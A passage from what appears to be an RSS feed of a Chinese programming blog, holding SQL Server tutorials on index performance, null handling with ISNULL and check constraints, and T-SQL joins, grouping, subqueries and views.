/>（1）select gid,fariqi,neibuyonghu,title from Tgongwen where fariqi&gt;'2004-5-5' <br /><br />查询速度：2513毫秒<br /><br />（2）select gid,fariqi,neibuyonghu,title from Tgongwen where fariqi&gt;'2004-5-5' and neibuyonghu='办公室'<br /><br />查询速度：2516毫秒<br /><br />（3）select gid,fariqi,neibuyonghu,title from Tgongwen where neibuyonghu='办公室'<br /><br />查询速度：60280毫秒<br /><br />从以上试验中，我们可以看到如果仅用聚集索引的起始列作为查询条件和同时用到复合聚集索引的全部列的查询速度是几乎一样的，甚至比用上全部的复合索引列还要略快（在查询结果集数目一样的情况下）；而如果仅用复合聚集索引的非起始列作为查询条件的话，这个索引是不起任何作用的。当然，语句1、2的查询速度一样是因为查询的条目数一样，如果复合索引的所有列都用上，而且查询结果少的话，这样就会形成“索引覆盖”，因而性能可以达到最优。同时，请记住：无论您是否经常使用聚合索引的其他列，但其前导列一定要是使用最频繁的列。 <br />评论Feed: http://77521.cn/feed.asp?q=comment&amp;id=173 <br />引用链接: http://77521.cn/trackback.asp?id=173 <br /><img src ="http://www.blogjava.net/liaojiyong/aggbug/72359.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/liaojiyong/" target="_blank">liaojiyong</a> 2006-09-27 18:00 <a href="http://www.blogjava.net/liaojiyong/archive/2006/09/27/72359.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>SQL Server的空值处理策略 </title><link>http://www.blogjava.net/liaojiyong/archive/2006/09/15/69818.html</link><dc:creator>liaojiyong</dc:creator><author>liaojiyong</author><pubDate>Fri, 15 Sep 2006 02:22:00 GMT</pubDate><guid>http://www.blogjava.net/liaojiyong/archive/2006/09/15/69818.html</guid><wfw:comment>http://www.blogjava.net/liaojiyong/comments/69818.html</wfw:comment><comments>http://www.blogjava.net/liaojiyong/archive/2006/09/15/69818.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/liaojiyong/comments/commentRss/69818.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/liaojiyong/services/trackbacks/69818.html</trackback:ping><description><![CDATA[
		<p>大多数集合函数都能在计算时消除空值；COUNT函数则属于例外。对包含空值的一个列使用COUNT函数，空值会从计算中消除。但假如COUNT函数使用一个星号，它就计算所有行，而不管是否存在空值。</p>
		<p>如果希望COUNT函数对给定列的所有行（包括空值）进行计数，请使用ISNULL函数。ISNULL函数会将空值替换成有效的值。<br /></p>
		<p>事实上，对集合函数来说，如果空值可能导致错误结果，ISNULL函数就非常有用。记住在使用一个星号时，COUNT函数会对所有行进行计算。下例演示了空值在AVG和COUNT集合函数中的影响： <br /></p>
		<pre>    SET NOCOUNT ON<br />
    GO<br />
    CREATE TABLE xCount<br />
    (pkey1 INT IDENTITY NOT NULL<br />
        CONSTRAINT pk_xCount PRIMARY KEY,<br />
    Col1 int NULL)<br />
    GO<br />
    INSERT xCount (Col1) VALUES (10)<br />
    GO<br />
    INSERT xCount (Col1) VALUES (15)<br />
    GO<br />
    INSERT xCount (Col1) VALUES (20)<br />
    GO<br />
    INSERT xCount (Col1) VALUES (NULL)<br />
    GO<br />
    SELECT AVG(Col1) AvgWithoutIsNullFunctionOnCol1,<br />
    AVG(ISNULL(Col1,0)) AvgWithIsNullFunctionOnCol1,<br />
    COUNT(Col1) NoIsNullFunctionOnCol1 ,<br />
    COUNT(ISNULL(Col1,0)) UsingIsNullFunctionOnCol1,<br />
    Count(*) UsingAsterisk<br />
    FROM xCount<br />
    GO<br />
    DROP TABLE xCount<br />
    GO<br /><br />
    OUTPUT:<br />
AvgWOIsNullFnctnCol1 AvgWIsNullFnctnCol1 WOIsNullFnctnCol1<br /><br />WIsNullFnctnCol1 UsingAsterisk<br />
 ---------------- ------------- -------------- ------------  ---------<br />
15             11                3           4         4<br /></pre>
		<pre>恰当使用空表值</pre>
		<pre>
				<p>SQL Server可能出现一种特殊情况：在引用父表的一个表中，因为不允许空值，所以“声明引用完整性”（DRI）可能不会得到强制。即使父表不包含空值，在子表引用了父表主键约束或惟一约束的列中，也可能包含空值。<br /></p>
				<p>假如来自父表的值目前未知，就不会有任何问题。例如，父表可能是一个地址表，而子表可能包含联系信息。由于许多原因，可能暂时不知道要传给父表的联系地址。这是一种基于时间的问题，空值在其中或许是合适的。</p>
				<p>如下例所示，我们创建父表，并在其中插入两个值。</p>
				<pre> SET NOCOUNT ON<br />
    GO<br />CREATE TABLE Parent<br />(pkey1 INT IDENTITY NOT NULL<br />    CONSTRAINT pkParent PRIMARY KEY,<br />col1 INT NULL)<br />GO<br />INSERT Parent (col1) VALUES (284)<br />GO<br />INSERT Parent (col1) VALUES (326)<br />GO<br /> 
</pre>
				<br />以下代码则创建子表，并在引用父表的列中插入一个空值。 <p></p><pre> CREATE TABLE Child<br />
    (pkey1 INT IDENTITY<br />CONSTRAINT pkChild PRIMARY KEY,<br />Parentpkey1 INT NULL<br />CONSTRAINT fkChildParent FOREIGN KEY<br />REFERENCES Parent(pkey1),<br />col1 INT NULL)<br />GO<br />INSERT Child (Parentpkey1, col1) VALUES (null,2)<br />GO<br /></pre> <br />但在以下代码中，要同时从父表和子表选择值。虽然父表不包含空值，但在子表引用了父表的那个列中，将允许一个空值。<br /><p></p><p>然后丢弃所有表，清除这个演示所用的数据库对象。<br /></p><pre> SELECT * FROM Child<br />GO<br />SELECT * FROM Parent<br />GO<br />DROP TABLE Child, Parent<br />GO<br /><br /><br /><br /><br /><br /><table cellspacing="1" cellpadding="0" width="730" align="center" bgcolor="#ffffff" border="0"><tbody><tr><td valign="top" align="middle" bgcolor="#eff0e0"><table cellspacing="0" cellpadding="4" width="95%" border="0"><tbody><tr><td class="textblack">检查数据有效性</td></tr><tr><td class="textgray"><p></p><h5>在可以为空的外键中检查数据的有效性</h5><table cellspacing="0" cellpadding="0" width="0" align="right" border="0"><tbody><tr><td align="middle"><img src="http://www.zdnet.com.cn/ads/image/advertisement_e1.gif" /></td></tr><tr><td><!--start banner ad--><!--ba--><script language="JavaScript1.1" src="http://ad.cn.doubleclick.net/adj/messagingplus.zdnet.com.cn/developer/database;sz=1x1;ord=788680273?"></script><!-- Template Id = 1 Template Name = Banner Creative (Flash) --><!-- Copyright 2002 DoubleClick Inc., All rights reserved. --><script src="http://m.cn.2mdn.net/879366/flashwrite_1_2.js"></script><script language="VBScript"><![CDATA[
dcmaxversion = 9
dcminversion = 8
Do
On Error Resume Next
plugin = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash." & dcmaxversion & "")))
If plugin = true Then Exit Do
dcmaxversion = dcmaxversion - 1
Loop While dcmaxversion >= dcminversion
]]&gt;</script><a href="http://ad.cn.doubleclick.net/click%3Bh=v7/3461/3/0/%2a/l%3B45103473%3B0-0%3B0%3B13895291%3B4307-300/250%3B18067261/18085156/1%3B%3B%7Efdr%3D45803315%3B0-0%3B0%3B10707894%3B31-1/1%3B18135183/18153078/1%3B%3B%7Esscs%3D%3fhttp://scn.semiconductors.philips.com/" target="_top"></a><noembed><a target="_top" href="http://ad.cn.doubleclick.net/click%3Bh=v7/3461/3/0/%2a/l%3B45103473%3B0-0%3B0%3B13895291%3B4307-300/250%3B18067261/18085156/1%3B%3B%7Efdr%3D45803315%3B0-0%3B0%3B10707894%3B31-1/1%3B18135183/18153078/1%3B%3B%7Esscs%3D%3fhttp://scn.semiconductors.philips.com/"><img src="http://m.cn.2mdn.net/1280511/SCH_300x250_v02.gif" border="0" /></a></noembed><noscript><a target="_top" href="http://ad.cn.doubleclick.net/click%3Bh=v7/3461/3/0/%2a/l%3B45103473%3B0-0%3B0%3B13895291%3B4307-300/250%3B18067261/18085156/1%3B%3B%7Efdr%3D45803315%3B0-0%3B0%3B10707894%3B31-1/1%3B18135183/18153078/1%3B%3B%7Esscs%3D%3fhttp://scn.semiconductors.philips.com/"><img src="http://m.cn.2mdn.net/1280511/SCH_300x250_v02.gif" border="0" /></a></noscript><noscript><a href="http://ad.cn.doubleclick.net/jump/messagingplus.zdnet.com.cn/developer/database;sz=1x1;ord=788680273?"><img src="http://ad.cn.doubleclick.net/ad/messagingplus.zdnet.com.cn/developer/database;sz=1x1;ord=788680273?" border="0" /></a></noscript><!--end banner ad--><img height="1" src="http://www.zdnet.com.cn/tracks/insert_tracks.htm?element_id=39112720&amp;channel_id=20000033" width="1" /></td></tr></tbody></table><p>如果由两个列共同组成主键，而且一个子表将主键作为可为空值的外键来继承，就可能得到错误的数据。可在一个外键列中插入有效的值，但在另一个外键列中插入空值。然后，可添加一个数据表检查约束，在可为空的外键中检查数据的有效性。</p><p>任何多列外键都可能遇到同样的问题。所以，你需要添加一个检查约束来检测异常。最初，检查约束将检查构成外键的所有列中可能为空的值。检查约束还要检查这些列中不能为空的值。如两个检查都通过，问题就解决了。</p><p>以下示范脚本展示了这样的一个异常，以及如何用检查约束来纠正它。<br /></p><pre>     <br />SET NOCOUNT ON<br />GO<br />CREATE TABLE parent (pkey1 INT IDENTITY NOT NULL, pkey2 INT
NOT NULL, col1 INT NULL,<br />CONSTRAINT pk_parent PRIMARY KEY NONCLUSTERED ( pkey1, pkey2))<br />GO<br />INSERT parent (pkey2) VALUES ( 2 )<br />INSERT parent (pkey2) VALUES ( 85 )<br />INSERT parent (pkey2) VALUES ( 41 )<br />INSERT parent (pkey2) VALUES ( 11 )<br />GO<br />SELECT * FROM parent<br />GO<br />CREATE TABLE child (cpkey1 INT IDENTITY NOT NULL<br />CONSTRAINT pk_child PRIMARY KEY NONCLUSTERED (cpkey1),<br />pkey1 INT NULL, pkey2 INT NULL, col1 INT NULL,<br />CONSTRAINT fk_parent_child FOREIGN KEY (pkey1, pkey2)<br />REFERENCES parent (pkey1, pkey2))<br />GO<br />INSERT child (pkey1, pkey2) VALUES ( null, 85 )<br />GO<br />SELECT * FROM child<br />GO<br />DELETE child<br />GO<br />ALTER TABLE child WITH NOCHECK<br />ADD CONSTRAINT ck_fk_parent_child CHECK<br />((pkey1 IS NOT NULL AND pkey2 IS NOT NULL) OR<br />(pkey1 IS NULL AND pkey2 IS NULL) )<br />GO<br />INSERT child (pkey1, pkey2) VALUES ( null, 11 )<br />GO<br />DROP TABLE child, parent<br />GO<br /> 
</pre><br />空值是所有数据库开发者和管理员都要遇到的。所以，要想开发成功的应用程序，必须知道如何处理这些值。本文和你分享了空值处理的一些技巧和技术。 <p></p><div></div><br /><br /><font color="#ff0000"><br /><p></p></font></td></tr><tr><td class="textgray" align="right"></td></tr><tr><td class="textblack"><strong></strong><br /></td></tr><ul></ul></tbody></table></td></tr><tr><td class="textblack" align="middle"></td></tr></tbody></table><!-- End content--><td valign="top" align="middle" width="160" bgcolor="#2f373f"><!--start right_v--><!-- End right_v--></td><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /></pre></pre>
<img src ="http://www.blogjava.net/liaojiyong/aggbug/69818.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/liaojiyong/" target="_blank">liaojiyong</a> 2006-09-15 10:22 <a href="http://www.blogjava.net/liaojiyong/archive/2006/09/15/69818.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>transact---sql高级查询</title><link>http://www.blogjava.net/liaojiyong/archive/2006/09/14/69528.html</link><dc:creator>liaojiyong</dc:creator><author>liaojiyong</author><pubDate>Thu, 14 Sep 2006 00:49:00 GMT</pubDate><guid>http://www.blogjava.net/liaojiyong/archive/2006/09/14/69528.html</guid><wfw:comment>http://www.blogjava.net/liaojiyong/comments/69528.html</wfw:comment><comments>http://www.blogjava.net/liaojiyong/archive/2006/09/14/69528.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/liaojiyong/comments/commentRss/69528.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/liaojiyong/services/trackbacks/69528.html</trackback:ping><description><![CDATA[
		<p>transact---sql高级查询（上）<br />1:多表的查询和笛卡儿积<br />2:表格别名的用法<br />3:使用sql server的统计函数<br />4:用group by子句实现分组的查询</p>
		<p>A:多表查询和笛尔儿积<br />到目前为止,我们所用的都是单个表查询,但是在更多的情况的下,需要对多个表进行同时查询,这时可以把多个表的名字全部填写在from子句中.<br />  比如:查询出每个职工的姓名,学历,所在部门名称.由于我们需要的结果来自于两个表,所以必须用多表查询<br />       select 姓名,学历,部门名称,负责人 from work,部门 [分析为什么是错误的]<br />  原因:问题出在对表格连接条件的限制上.在上面的语句中,没能对表格连接条件作任何限制,所以sql会在work表中每取出一条记录,就与部门表中的所有记录组合一次,那么假设work表有m条记录,而部门表中有n条记录,则得出的结果为m*n条记录这就是笛尔儿积,所以笛尔儿积返回的大多数的结果是冗余的、无用的,所以应该避免笛尔儿积的产生.<br />  解决笛尔儿积的方法:事实上由于笛尔儿积是因为两个表的连接条件没有限制造成的,所以只要我们对两个表的连接进行条件限制,就可以避免笛尔儿积的产生.可以通过一个where子句,来连接两个表的公共的字段就可以了.<br />  所以将上面的语句改成:select 姓名,学历,部门名称,负责人 from work,部门 where work.部门编号=部门.部门编号</p>
		<p>B:使用表格的别名<br />  A:当使用多个表进行查询时,如果有两个表中有相同的列,应该指明选中的是哪个表中的列.<br />    比如:在work表检索出在address表中都有的职工的职工号,姓名,学历,基本工资<br />         select 职工号,姓名,学历,基本工资 from work,address where work.职工号=address.职工号<br />         上面的语句是错误的,原因是对于work和address表都有职工号,姓名列,所以应该指明是哪个表的职工号和姓名.<br />    改成:select work.职工号,work.姓名,学历,基本工资 from work,address where work.职工号=address.职工号<br />    或者:select address.职工号,address.姓名,学历,基本工资 from work,address where work.职工号=address.职工号<br />    想一想:为什么对于学历,基本工资没有指明表名:即:work.学历,work.基本工资[只有一个表有这些列]<br />  B:允许使用别名来访问表.<br />    格式:1:表名 as 别名<br />         2:表名 别名<br />    例如:上面的语句可改写成:<br />         select w.职工号,w.姓名,学历,基本工资 from work as w,address as a where w.职工号=a.职工号 <br />上面的语句中在from中引用两个表,并且为表work指明了别名w,为表address指明了别名a,所以就可以用w来代表work表,用a来代表address表.或者省略as直接改成:select w.职工号,w.姓名,学历,基本工资 from work w,address a where w.职工号=a.职工号 <br />  C:如果使用了别名,则以后所有查询语句中,都必须使用别名列<br />    比如:select work.职工号,work.姓名,学历,基本工资 from work w,address a where w.职工号=a.职工号 [是错误的]</p>
		<p>C:使用统计函数:<br />  sql跟我们提供了以下几个统计函数:<br />     sum:返回一个数字列的总和<br />     avg:对一个数字列求平均值<br />     min:对一个数字列求最小值<br />     max:对一个数字列求最大值<br />     count:返回满足select语句中指定的条件的记录个数<br />      举列:1:求出work表中所有男职工的基本工资的和<br />             select sum(基本工资) as 性别为男的基本工资 from work where 性别=\'男\' <br />           2:求出work表中所有职称是经理的最高工资和最低工资,平均工资<br />             select max(基本工资) as 最高工资,min(基本工资) as 最低工资,avg(平均工资) as 平均工资 from work    <br />           3:与统计函数一起使用distinct关键字[通常只与count函数使用]<br />             例:1:检索出work表中学历的个数<br />                  select count(学历) from work <br />                2:检索出work表中学历的种类的个数<br />                  select count(distinct 学历) from work<br />                  试一试:select distinct count(学历) from work 可行否?<br />                3:有work和部门表,检索出在销售部工作的员工的个数<br />                  select \'销售部的人数\'=count(职工号) from work a,部门 b <br />                  where a.部门编号=b.部门编号 and b.部门名称=\'销售部\'<br />                4:在work表中检索出其基本工资小于职工平均工资的人数<br />                  select count(职工号) as 人数 from work <br />                  where 基本工资&lt;(select avg(基本工资) from work)<br />                5:有学科表和学费表,从学费表检索出有多少个学网页设计的人<br />                  select count(学号) as 网页设计的人数 from 学费 a,学科 b <br />                  where a.所学专业代号=b.课程编号 and b.课程名称=\'网页设计\'</p>
		<p>D:使用group by子句对结果进行分类[只用于统计函数] <br />    举列:1:检索出work表各职称的人数.<br />           select 职称,count(职称) as 职称人数 from work group by 职称<br />         2:检索出各学历的平均工资.<br />           select 学历,avg(基本工资) from work group by 学历<br />         3:有学科表和学费表,要求统计出各学科的学生数目.<br />           select 所学专业代号,count(所学专业代号) as 人数 into #abc from 学费 group by 所学专业代号<br />           select 课程名称,人数 from #abc,学科 where 所学专业代号=课程编号<br />         4:有职工表和商品销售表,要求检索出每个职工的职工号,姓名,销售总量.<br />           select 职工号,sum(销售量) as 销售总量 into #abcd from 商品销售 group by 职工号<br />           select 职工.职工号,姓名,销售总量 from 职工,#abcd where #abcd.职工号=职工.职工号<br />         5:查询出每个部门最高的基本工资,显示部门名称和最高基本工资<br />           select 部门名称,max(基本工资) from work group by 部门名称<br />           说明:1:在group by中不支持对列名的分配的别名<br />                   select 学历 as 职工学历,count(学历) from work group by 职工学历 [错错] <br />                   改为:select 学历 as 职工学历,count(学历) from work group by 学历<br />                2:select后面每一列数据除了在统计函数中的列以外都必须在group by子句出现 <br />                   比如:select 学历,性别,sum(基本工资) from work group by 学历[错错] <br />                   改为:select 学历,性别,sum(基本工资) from work group by 学历,性别      <br />                   意义:各学历各性别的基本工资之和<br /><br /><br />transact---sql高级查询（下）<br />5:使用having关键字来筛选结果<br />6:使用compute和compute by子句<br />7:使用嵌套查询<br />8:分布式查询</p>
		<p>E:使用having关键字来筛选结果<br />    当完成对数据结果的查询和统计后,可以使用having关键字来对查询和计算的结果进行一步的筛选<br />      例:检索出work表中学历是大专或者是中专的人数<br />          select 学历,count(学历) from work group by 学历 having 学历 in(\'大专\',\'中专\')<br />          说明:1:having关键字都与group by用在一起.<br />               2:having不支持对列分配的别名<br />          例如:select 学历,\'大于5的人数\'=count(学历) from work group by 学历 having 大于5的人数&gt;5 [错错]<br />          改为:select 学历,\'大于5的人数\'=count(学历) from work group by 学历 having count(学历)&gt;5</p>
		<p>F:使用compute和compute by<br />  使用compute子句允许同时观察查询所得到各列的数据的细节以及统计各列数据所产生的汇总列<br />      select * from work [查询所得到的各列的数据的细节]<br />      compute max(基本工资),min(基本工资) [统计之后的结果]<br />  这个例子中没有使用by关键字,返回的结果是最后添加了一行基本工资的最大值和最小值,也可增加by关键字.<br />        例:select * from work order by 学历<br />           compute max(基本工资),min(基本工资) by 学历<br />        比较:select 学历,max(基本工资),min(基本工资) from work group by 学历<br />        说明:1:compute子句必须与order by子句用在一起<br />             2:compute子句可以返回多种结果集.一种是体现数据细节的数据集,可以按分类要求进行正确的分类；另一种在分类的基础上进行汇总产生结果.<br />             3:而group by子句对每一类数据分类之后只能产生一个结果,不能知道细节</p>
		<p>G:使用嵌套查询<br />  查询中再查询,通常是以一个查询作为条件来供另一个查询使用<br />      例:有work表和部门表<br />         A:检索出在部门表中登记的所有部门的职工基本资料<br />           select * from work where 部门编号 in [not in](select 部门编号 from dbo.部门) <br />         B:检索出在work表中每一个部门的最高基本工资的职工资料<br />           select * from work a where 基本工资=(select max(基本工资) from work b where a.部门名称=b.部门名称) <br />           说明:由外查询提供一个部门名称给内查询,内查询利用这个部门名称找到该部门的最高基本工资,然后外查询根据基本工资判断是否等于最高工资,如果是的,则显示出来.<br />           相当于:select * from work,(select 部门名称,max(基本工资) as 基本工资 from work group by 部门名称 as t) where work.基本工资=t.基本工资 and work.部门名称=t.部门名称<br />         C:用嵌套work表和嵌套部门表,在嵌套work表中检索出姓名和职工号都在嵌套部门存在的职工资料 <br />           select * from 嵌套work where 职工号 in (select 职工号 from 嵌套部门) and 姓名 in (select 姓名 from 嵌套部门) [察看结果,分析原因] <br />           改:select * from 嵌套work a,嵌套部门 b where a.职工号=b.职工号 and a.姓名=b.姓名 <br />           改:select * from 嵌套work where 职工号=(select 职工号 from 嵌套部门) and 姓名=(select 姓名 from 嵌套部门) [行吗?为什么,分析原因?] </p>
		<p>在嵌套中使用exists关键字[存在]<br />例:1:用嵌套work表和嵌套部门表,在嵌套work表中检索出姓名和职工号都在嵌套部门存在的职工资料 <br />     select * from 嵌套work a where exists (select * from 嵌套部门 b where a.姓名=b.姓名 and a.职工号=b.职工号)<br />   2:在work表检索出在部门表没有的职工<br />     select * from work where not exists (select * from 部门 where 部门.部门编号=work.部门编号)<br />     能否改成:select * from work where exists (select * from 部门 where 部门.部门编号&lt;&gt;work.部门编号)<br />                       <br />在列清单中使用select<br />例:1:在work1表和部门表中检索出所有部门的部门名称和基本工资总和<br />    select 部门名称,(select sum(基本工资) from work1 b where a.部门编号=b.部门编号) from 部门 a<br />   2:检索各部门的职工人数<br />    select 部门编号,部门名称,(select count(职工号) from work1 a where a.部门编号=b.部门编号) as 人数 from 部门 b<br />   3:在商品表和销售表中查询每一职工的姓名,所属部门,销售总量                   <br />    select 姓名,所属部门,(select sum(销售量) from 商品销售 a where a.职工号=b.职工号) as 销售总量 from 嵌套部门 b</p>
		<p>H:分布式查询<br />我们以前的查询都只是基于一个服务器中的一个数据库的查询,如果一个查询是要跨越一个服务器,像这样的查询就是分布式查询,那么我们以看到分布查询就是数据源自于两个服务器.要进行分布式查询必须先创建一个“链接服务器”,以便让本地的用户能够映射到过程服务器.<br />“链接服务器”的创立<br />     A:在“链接服务器”里面输入以后为了方便访问该链接服务器的名称[任意]<br />     B:在“提供程序名称”里面选择“Microsoft OLE DB Provider for SQL Server”<br />     C:在“数据源”里面输入服务器的网络名<br />     D:本地登录,远程用户和远程密码里面分别输入一个本地登录用户,远程登录和远程密码以便让本地SQL Server登录映射为链接服务器上的用户<br />     E:访问方法:格式:链接服务器的名称.数据库名.dbo.表名<br />       链接服务器有两个特点:<br />           1:通过链接服务器不能删除链接源服务器的任何对像.<br />           2:能过链接服务器可以对链接源服务器的表进行insert,updae,delete操作.</p>
		<p> </p>
		<p>
				<br />视图<br />1:什么是视图<br />2:视图和查询的区别<br />3:视图的优点<br />4:如何创建和管理视图<br />5:如何通过视图修改基本表的数据<br />6:如何通过视图实现数据的安全性</p>
		<p>A:什么是视图:<br />视图(view):从一个或几个基本表中根据用户需要而做成一个虚表<br />    1:视图是虚表,它在存储时只存储视图的定义,而没有存储对应的数据<br />    2:视图只在刚刚打开的一瞬间,通过定义从基表中搜集数据,并展现给用户 </p>
		<p>B:视图与查询的区别: <br />视图和查询都是用由sql语句组成,这是他们相同的地方,但是视图和查询有着本质区别:<br />它们的区别在于:1:存储上的区别:视图存储为数据库设计的一部分,而查询则不是.<br />              2:更新限制的要求不一样<br />                要注意:因为视图来自于表,所以通过视图可以间接对表进行更新,我们也可以通过update语句对表进行更新,但是对视图和查询更新限制是不同的,以下我们会知道虽然通过视图可以间接更新表但是有很多限制.<br />              3:排序结果:通过sql语句,可以对一个表进行排序,而视图则不行.<br />                比如:创建一个含有order by子句的视图,看一下可以成功吗?</p>
		<p>C:视图的优点:  <br />为什么有了表还要引入视图呢？这是因为视图具有以下几个优点:<br />1:能分割数据,简化观点<br />  可以通过select和where来定义视图,从而可以分割数据基表中某些对于用户不关心的数据,使用户把注意力集中到所关心的数据列.进一步简化浏览数据工作.<br />2:为数据提供一定的逻辑独立性<br />  如果为某一个基表定义一个视图,即使以后基本表的内容的发生改变了也不会影响“视图定义”所得到的数据<br />3:提供自动的安全保护功能<br />  视图能像基本表一样授予或撤消访问许可权.<br />4:视图可以间接对表进行更新,因此视图的更新就是表的更新</p>
		<p>D:视图的创建和管理<br />  视图的创建<br />  1:通过sql语句<br />    格式:create view 视图名 as select 语句<br />         试一试:分别创建关于一个表或多个表的视图[因为视图可以来自于多表]<br />  2:通过企业管理器   <br />    说明:1:在完成视图的创立之后,就可以像使用基本表一样来使用视图<br />         2:在创建视图时,并非所有的select子查询都可用<br />           如:compute和compute by,order by[除非与top一起连用]  <br />         3:但在查询时,依然都可以用在创建时禁用的select子查询<br />         4:在视图创建时,必须为没有标题列指定标题[思考:能否不用select语句来创建一个视图]<br />  <br />  视图的删除:<br />  1:通过sql语句:drop view 视图名<br />  2:通过企业管理器<br />    说明:与删除表不同的是,删除视图后只是删除了视图了定义,并没有删除表中的数据.[查看相关性]<br />  <br />  修改视图的定义<br />  1:通过企业管理器<br />  2:通过sql语句:<br />    格式:alter view 视图名 as 新的select语句</p>
		<p>浏览视图信息 sp_helptext 视图名 [查看视图创建的语句] </p>
		<p>E:如何通过视图修改基本表的数据.<br />  1:在视图上使用insert语句<br />    通过视图插入数据与直接在表中插入数据一样,但视图毕竟不是基本表.因此在进行数据插入时还是有一定的限制<br />      1:如果视图上没有包括基本表中属性为not null[不能为空]的列,那么插入操作会因为那些列是null值而失败.<br />      2:如果某些列因为某些规则或约束的限制而不能直接接受从视图插入的列时,插入会失败<br />      3:如果在视图中包含了使用统计函数的结果,或是包含计算列,则插入操作会失败<br />      4:不能在使用了distinct语句的视图中插入值<br />      5:不能在使用了group by语句的视图中插入值</p>
		<p>  2:使用update更新视图中的数据<br />       1:更新视图与更新表格一样,但是在视图中使用了多个基本表连接的情况下,每次更新操作只能更新来自基本表的一个数据列<br />         例如:创建以下视图:create view del as <br />                          select 职工号,姓名,部门名称,负责人 from work1,部门 <br />                          where work1.部门编号=部门.部门编号<br />              如果再执行下面的语句时:<br />                        update del set 职工号=\'001\',部门名称=\'wenda\' where 职工号=\'01\'[出现错误]<br />              只能够改成:update del set 职工号=\'001\' where 职工号=\'01\' <br />                        update del set 部门名称=\'wenda\' where 职工号=\'01\' <br />       2:不能在使用了distinct语句的视图中更新值<br />       3:不能在使用了group by语句的视图中更新值<br />  <br />  3:使用delete删除视图中数据.<br />    通过视图删除数据最终体现为从基本表中删除数据<br />    格式:delete 视图名 [where 条件]<br />    说明:当视图由两个以上的基表构成时,不允许删除视图的数据 <br />    例如:建一个视图kk<br />         create view kk as <br />         select 职工号,姓名,性别,部门名称 from work1,部门 where work1.部门编号=部门.部门编号 [试着去删除]</p>
		<p>    使用with check option的视图<br />    如果不了解视图定义内容,则常常会发生向视图中输入不符合视图定义的数据的情况.<br />    比如:create view xm as <br />         select * from work where 性别=\'男\'<br />         完全可以插入insert xm values(\'001\',\'女\',23,\'2400\'....)<br />尽管从意义上来说是不合理的,但是上述语句是正确的.为了防止这种情况的发生,可以使用with check option子句来对插入的或更改的数据进行限制.<br />    比如:create view xm as <br />         select * from work where 性别=\'男\' with check option</p>
		<p>    使用schemabinding的视图[使用绑定到构架]<br />我们知道视图是依赖于表,如果在一个表中创建一个视图,今后如果这个表被删除了,则这个视图将不可再用了.为了防止用户删除一个有视图在引用的表,可以在创建视图的时候加上schemabinding关键字.<br />    比如:create view 基本工资 with SCHEMABINDING<br />         as select 姓名,性别,基本工资 from dbo.work <br />    说明:1:不能使用“*”来创建此类型的视图<br />         2:创建此类型的视图时,一定要加上dbo.表名.<br />         3:如果在某个表中定义了此类视图,则用户将不能对表的结构进行修改,否则会删除这些绑定<br />         4:如果用户对表的结构进行列改名,则会删除绑定而且视图不可用.<br />         5:如果用户对表的结构进行列的类型或者大小修改,则会删除绑定但视图可用,此时用户可以删除视图所引用的表.<br />   <br />    使用with encryption对视图进行加密<br />为了保护创建视图定义的原代码,可以对视图进行加密.<br />    比如:create view kk with encryption <br />         as select * from work where 职称=\'经理\' <br />    用sp_helptext来查看一下.或用企业管理器查看一下.<br />    说明:如果应用此项用户将无法设计视图</p>
		<p>F:使用视图加强数据的安全<br />  一般通过使用视图共有三种途径加强数据的安全性     <br />     A:对不同用户授予不同的使用权.<br />     B:通过使用select子句限制用户对某些底层基表的列的访问<br />     C:通过使用where子句限制用户对某些底层基表的行的访问<br />  对不同用户授予不同的权限<br /><br /><br /><br /></p>
		<p>连接查询 </p>
		<p>通过连接运算符可以实现多个表查询。连接是关系数据库模型的主要特点，也是它区别于其它类型数据库管理系统的一个标志。 </p>
		<p>在关系数据库管理系统中，表建立时各数据之间的关系不必确定，常把一个实体的所有信息存放在一个表中。当检索数据时，通过连接操作查询出存放在多个表中的不同实体的信息。连接操作给用户带来很大的灵活性，他们可以在任何时候增加新的数据类型。为不同实体创建新的表，尔后通过连接进行查询。 </p>
		<p>连接可以在SELECT 语句的FROM子句或WHERE子句中建立，似是而非在FROM子句中指出连接时有助于将连接操作与WHERE子句中的搜索条件区分开来。所以，在Transact-SQL中推荐使用这种方法。 </p>
		<p>SQL-92标准所定义的FROM子句的连接语法格式为： </p>
		<p>FROM join_table join_type join_table </p>
		<p>[ON (join_condition)] </p>
		<p>其中join_table指出参与连接操作的表名，连接可以对同一个表操作，也可以对多表操作，对同一个表操作的连接又称做自连接。 </p>
		<p>join_type 指出连接类型，可分为三种：内连接、外连接和交叉连接。内连接(INNER JOIN)使用比较运算符进行表间某(些)列数据的比较操作，并列出这些表中与连接条件相匹配的数据行。根据所使用的比较方式不同，内连接又分为等值连接、自然连接和不等连接三种。 </p>
		<p>外连接分为左外连接(LEFT OUTER JOIN或LEFT JOIN)、右外连接(RIGHT OUTER JOIN或RIGHT JOIN)和全外连接(FULL OUTER JOIN或FULL JOIN)三种。与内连接不同的是，外连接不只列出与连接条件相匹配的行，而是列出左表(左外连接时)、右表(右外连接时)或两个表(全外连接时)中所有符合搜索条件的数据行。 </p>
		<p>交叉连接(CROSS JOIN)没有WHERE 子句，它返回连接表中所有数据行的笛卡尔积，其结果集合中的数据行数等于第一个表中符合查询条件的数据行数乘以第二个表中符合查询条件的数据行数。 </p>
		<p>连接操作中的ON (join_condition) 子句指出连接条件，它由被连接表中的列和比较运算符、逻辑运算符等构成。 </p>
		<p>无论哪种连接都不能对text、ntext和image数据类型列进行直接连接，但可以对这三种列进行间接连接。例如： </p>
		<p>SELECT p1.pub_id,p2.pub_id,p1.pr_info </p>
		<p>FROM pub_info AS p1 INNER JOIN pub_info AS p2 </p>
		<p>ON DATALENGTH(p1.pr_info)=DATALENGTH(p2.pr_info) </p>
		<p> </p>
		<p>(一)内连接 </p>
		<p>内连接查询操作列出与连接条件匹配的数据行，它使用比较运算符比较被连接列的列值。内连接分三种： </p>
